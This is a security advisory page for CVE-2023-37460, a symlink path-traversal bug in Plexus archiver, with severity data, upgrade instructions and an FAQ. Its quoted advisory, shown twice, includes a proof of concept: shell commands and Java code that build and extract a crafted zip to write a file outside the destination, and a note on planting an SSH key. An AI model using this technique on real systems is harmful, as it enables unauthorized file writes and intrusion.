CVE-2023-37460: Plexus archiver Arbitrary File Creation Vulnerability

HIGH
Advisory Identifier: GHSA-wh3p-fphp-9h2m
CVSS 8.1
CWE-22
Published
Advisory Summary

CVE-2023-37460 is a HIGH (CVSS 8.1) arbitrary file creation vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Plexus archiver libraries in the Maven ecosystem. The issue involves arbitrary file creation in abstractunarchiver. Remediation is available by upgrading affected packages to version 4.8.0.

CVE-2023-37460 at a Glance

CVE Identifier CVE-2023-37460
GHSA Identifier GHSA-wh3p-fphp-9h2m
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Plexus archiver
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-37460

To remediate this vulnerability, upgrade all affected Plexus archiver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.codehaus.plexus:plexus-archiver fixed: 4.8.0
<dependency>
    <groupId>org.codehaus.plexus</groupId>
    <artifactId>plexus-archiver</artifactId>
    <version>4.8.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.codehaus.plexus

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2023-37460, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.codehaus.plexus

Analyze the terminal output to locate any version of Plexus archiver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.8.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.codehaus.plexus command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Plexus archiver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. ### Description When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default, will actually write the entry's content to the symlink's target. ### Impact Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. ### Technical Details In [AbstractUnArchiver.java](https://github.com/codehaus-plexus/plexus-archiver/blob/plexus-archiver-4.7.1/src/main/java/org/codehaus/plexus/archiver/AbstractUnArchiver.java#L342): ```java protected void extractFile( final File srcF, final File dir, final InputStream compressedInputStream, String entryName, final Date entryDate, final boolean isDirectory, final Integer mode, String symlinkDestination, final FileMapper[] fileMappers) throws IOException, ArchiverException { ... // Hmm. Symlinks re-evaluate back to the original file here. Unsure if this is a good thing... final File targetFileName = FileUtils.resolveFile( dir, entryName ); // Make sure that the resolved path of the extracted file doesn't escape the destination directory // getCanonicalFile().toPath() is used instead of getCanonicalPath() (returns String), // because "/opt/directory".startsWith("/opt/dir") would return false negative. Path canonicalDirPath = dir.getCanonicalFile().toPath(); Path canonicalDestPath = targetFileName.getCanonicalFile().toPath(); if ( !canonicalDestPath.startsWith( canonicalDirPath ) ) { throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" ); } try { ... if ( !StringUtils.isEmpty( symlinkDestination ) ) { SymlinkUtils.createSymbolicLink( targetFileName, new File( symlinkDestination ) ); } else if ( isDirectory ) { targetFileName.mkdirs(); } else { try ( OutputStream out = Files.newOutputStream( targetFileName.toPath() ) ) { IOUtil.copy( compressedInputStream, out ); } } targetFileName.setLastModified( entryDate.getTime() ); if ( !isIgnorePermissions() && mode != null && !isDirectory ) { ArchiveEntryUtils.chmod( targetFileName, mode ); } } catch ( final FileNotFoundException ex ) { getLogger().warn( "Unable to expand to file " + targetFileName.getPath() ); } } ``` When given an entry that already exists in dir as a symbolic link whose target does not exist - the symbolic link’s target will be created and the content of the archive’s entry will be written to it. That’s because the way FileUtils.resolveFile() works: ```java public static File resolveFile( final File baseFile, String filename ) { ... try { file = file.getCanonicalFile(); } catch ( final IOException ioe ) { // nop } return file; } ``` File.getCanonicalFile() (tested with the most recent version of openjdk (22.2) on Unix) will eventually call [JDK_Canonicalize()](https://github.com/openjdk/jdk/blob/jdk-22%2B2/src/java.base/unix/native/libjava/canonicalize_md.c#LL48C1-L68C69): ```cpp JNIEXPORT int JDK_Canonicalize(const char *orig, char *out, int len) { if (len < PATH_MAX) { errno = EINVAL; return -1; } if (strlen(orig) > PATH_MAX) { errno = ENAMETOOLONG; return -1; } /* First try realpath() on the entire path */ if (realpath(orig, out)) { /* That worked, so return it */ collapse(out); return 0; } else { /* Something's bogus in the original path, so remove names from the end until either some subpath works or we run out of names */ ... ``` realpath() returns the destination path for a symlink, if this destination exists. But if it doesn’t - it will return NULL and we will reach the else’s clause, which will eventually return the path of the symlink itself. So in case the entry is already exists as a symbolic link to a non-existing file - file.getCanonicalFile() will return the absolute path of the symbolic link and this check will pass: ```java Path canonicalDirPath = dir.getCanonicalFile().toPath(); Path canonicalDestPath = targetFileName.getCanonicalFile().toPath(); if ( !canonicalDestPath.startsWith( canonicalDirPath ) ) { throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" ); } ``` Later, the content of the entry will be written to the symbolic link’s destination and by doing so will create the destination file and fill it with the entry’s content. Arbitrary file creation can lead to remote code execution. For example, if there is an SSH server on the victim’s machine and ~/.ssh/authorized_keys does not exist - creating this file and filling it with an attacker's public key will allow the attacker to connect the SSH server without knowing the victim’s password. ### PoC We created a zip as following: ```bash $ ln -s /tmp/target entry1 $ echo -ne “content” > entry2 $ zip --symlinks archive.zip entry1 entry2 ``` The following command will change the name of entry2 to entry1: ```bash $ sed -i 's/entry2/entry1/' archive.zip ``` We put archive.zip in /tmp and create a dir for the extracted files: ```bash $ cp archive.zip /tmp $ mkdir /tmp/extracted_files ``` Next, we wrote a java code that opens archive.zip: ```java package com.example; import java.io.File; import org.codehaus.plexus.archiver.zip.ZipUnArchiver; public class App { public static void main( String[] args ) { ZipUnArchiver unArchiver = new ZipUnArchiver(new File("/tmp/archive.zip")); unArchiver.setDestDirectory(new File("/tmp/extracted_files")); unArchiver.extract(); } } ``` After running this java code, we can see that /tmp/target contains the string “content”: ``` $ cat /tmp/target content ``` Notice that although we used here a duplicated entry name in the same archive, this attack can be performed also by two different archives - one that contains a symlink and another archive that contains a regular file with the same entry name as the symlink.

CVE-2023-37460 Affected Plexus archiver Versions

1 component(s)
Fixed Versions:
4.8.0
Product / Package Ecosystem Affected Versions Fixed Version
org.codehaus.plexus:plexus-archiver
Maven
< 4.8.0
4.8.0

References

Frequently Asked Questions

What is CVE-2023-37460?
CVE-2023-37460 is a security vulnerability in Plexus archiver involving Arbitrary File Creation in AbstractUnArchiver under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Plexus archiver versions are affected?
Affected versions include releases prior to 4.8.0 across affected packages: org.codehaus.plexus:plexus-archiver.
What version fixes CVE-2023-37460?
Upgrading to 4.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is plexus-archiver affected?
Yes, org.codehaus.plexus:plexus-archiver is affected in releases prior to 4.8.0. Upgrade your dependency to 4.8.0 or later.
What is the CVSS score of CVE-2023-37460?
CVE-2023-37460 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-37460?
CVE-2023-37460 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Maven dependencies for CVE-2023-37460?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.codehaus.plexus'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wh3p-fphp-9h2m",
  "modified" : "2023-08-03T17:59:29Z",
  "published" : "2023-07-25T17:20:43Z",
  "aliases" : [ "CVE-2023-37460" ],
  "summary" : "Arbitrary File Creation in AbstractUnArchiver",
  "details" : "### Summary\n\nUsing AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution.\n\n### Description\nWhen extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default,  will actually write the entry's content to the symlink's target.\n\n### Impact\nWhoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution.\n\n### Technical Details\n\nIn [AbstractUnArchiver.java](https://github.com/codehaus-plexus/plexus-archiver/blob/plexus-archiver-4.7.1/src/main/java/org/codehaus/plexus/archiver/AbstractUnArchiver.java#L342):\n```java\nprotected void extractFile( final File srcF, final File dir, final InputStream compressedInputStream, String entryName, final Date entryDate, final boolean isDirectory, final Integer mode, String symlinkDestination, final FileMapper[] fileMappers)\n    throws IOException, ArchiverException\n    {\n        ...\n        // Hmm. Symlinks re-evaluate back to the original file here. Unsure if this is a good thing...\n        final File targetFileName = FileUtils.resolveFile( dir, entryName );\n\n\n        // Make sure that the resolved path of the extracted file doesn't escape the destination directory\n        // getCanonicalFile().toPath() is used instead of getCanonicalPath() (returns String),\n        // because \"/opt/directory\".startsWith(\"/opt/dir\") would return false negative.\n        Path canonicalDirPath = dir.getCanonicalFile().toPath();\n        Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();\n\n\n        if ( !canonicalDestPath.startsWith( canonicalDirPath ) )\n        {\n            throw new ArchiverException( \"Entry is outside of the target directory (\" + entryName + \")\" );\n        }\n\n\n        try\n        {\n            ...\n            if ( !StringUtils.isEmpty( symlinkDestination ) )\n            {\n                SymlinkUtils.createSymbolicLink( targetFileName, new File( symlinkDestination ) );\n            }\n            else if ( isDirectory )\n            {\n                targetFileName.mkdirs();\n            }\n            else\n            {\n                try ( OutputStream out = Files.newOutputStream( targetFileName.toPath() ) )\n                {\n                    IOUtil.copy( compressedInputStream, out );\n                }\n            }\n\n\n            targetFileName.setLastModified( entryDate.getTime() );\n\n\n            if ( !isIgnorePermissions() && mode != null && !isDirectory )\n            {\n                ArchiveEntryUtils.chmod( targetFileName, mode );\n            }\n        }\n        catch ( final FileNotFoundException ex )\n        {\n            getLogger().warn( \"Unable to expand to file \" + targetFileName.getPath() );\n        }\n    }\n```\nWhen given an entry that already exists in dir as a symbolic link whose target does not exist - the symbolic link’s target will be created and the content of the archive’s entry will be written to it.\n\nThat’s because the way FileUtils.resolveFile() works:\n```java\npublic static File resolveFile( final File baseFile, String filename )\n    {\n        ...\n        try\n        {\n            file = file.getCanonicalFile();\n        }\n        catch ( final IOException ioe )\n        {\n            // nop\n        }\n\n\n        return file;\n    }\n```\nFile.getCanonicalFile() (tested with the most recent version of openjdk (22.2) on Unix) will eventually call [JDK_Canonicalize()](https://github.com/openjdk/jdk/blob/jdk-22%2B2/src/java.base/unix/native/libjava/canonicalize_md.c#LL48C1-L68C69):\n```cpp\nJNIEXPORT int\nJDK_Canonicalize(const char *orig, char *out, int len)\n{\n    if (len < PATH_MAX) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    if (strlen(orig) > PATH_MAX) {\n        errno = ENAMETOOLONG;\n        return -1;\n    }\n\n    /* First try realpath() on the entire path */\n    if (realpath(orig, out)) {\n        /* That worked, so return it */\n        collapse(out);\n        return 0;\n    } else {\n        /* Something's bogus in the original path, so remove names from the end\n           until either some subpath works or we run out of names */\n        ...\n```\nrealpath() returns the destination path for a symlink, if this destination exists. But if it doesn’t - \nit will return NULL and we will reach the else’s clause, which will eventually return the path of the symlink itself.\nSo in case the entry is already exists as a symbolic link to a non-existing file - file.getCanonicalFile() will return the absolute path of the symbolic link and this check will pass:\n```java\nPath canonicalDirPath = dir.getCanonicalFile().toPath();\nPath canonicalDestPath = targetFileName.getCanonicalFile().toPath();\n\n\nif ( !canonicalDestPath.startsWith( canonicalDirPath ) )\n{\n    throw new ArchiverException( \"Entry is outside of the target directory (\" + entryName + \")\" );\n}\n```\nLater, the content of the entry will be written to the symbolic link’s destination and by doing so will create the destination file and fill it with the entry’s content.\n\nArbitrary file creation can lead to remote code execution. For example, if there is an SSH server on the victim’s machine and ~/.ssh/authorized_keys does not exist - creating this file and filling it with an attacker's public key will allow the attacker to connect the SSH server without knowing the victim’s password.\n\n### PoC\nWe created a zip as following:\n```bash\n$ ln -s /tmp/target entry1\n$ echo -ne “content” > entry2\n$ zip  --symlinks archive.zip entry1 entry2\n```\nThe following command will change the name of entry2 to entry1:\n```bash\n$ sed -i 's/entry2/entry1/' archive.zip\n```\nWe put archive.zip in /tmp and create a dir for the extracted files:\n```bash\n$ cp archive.zip /tmp\n$ mkdir /tmp/extracted_files\n```\nNext, we wrote a java code that opens archive.zip:\n```java\npackage com.example;\n\nimport java.io.File;\n\nimport org.codehaus.plexus.archiver.zip.ZipUnArchiver;\n\npublic class App \n{\n    public static void main( String[] args )\n    {\n        ZipUnArchiver unArchiver = new ZipUnArchiver(new File(\"/tmp/archive.zip\"));\n        unArchiver.setDestDirectory(new File(\"/tmp/extracted_files\"));\n        unArchiver.extract();        \n    }\n}\n```\nAfter running this java code, we can see that /tmp/target contains the string “content”:\n```\n$ cat /tmp/target\ncontent\n```\nNotice that although we used here a duplicated entry name in the same archive, this attack can be performed also by two different archives - one that contains a symlink and another archive that contains a regular file with the same entry name as the symlink.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.codehaus.plexus:plexus-archiver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/codehaus-plexus/plexus-archiver/security/advisories/GHSA-wh3p-fphp-9h2m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-37460"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/codehaus-plexus/plexus-archiver/commit/54759839fbdf85caf8442076f001d5fd64e0dcb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/codehaus-plexus/plexus-archiver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/codehaus-plexus/plexus-archiver/releases/tag/plexus-archiver-4.8.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-25T17:20:43Z",
    "nvd_published_at" : "2023-07-25T20:15:13Z"
  }
}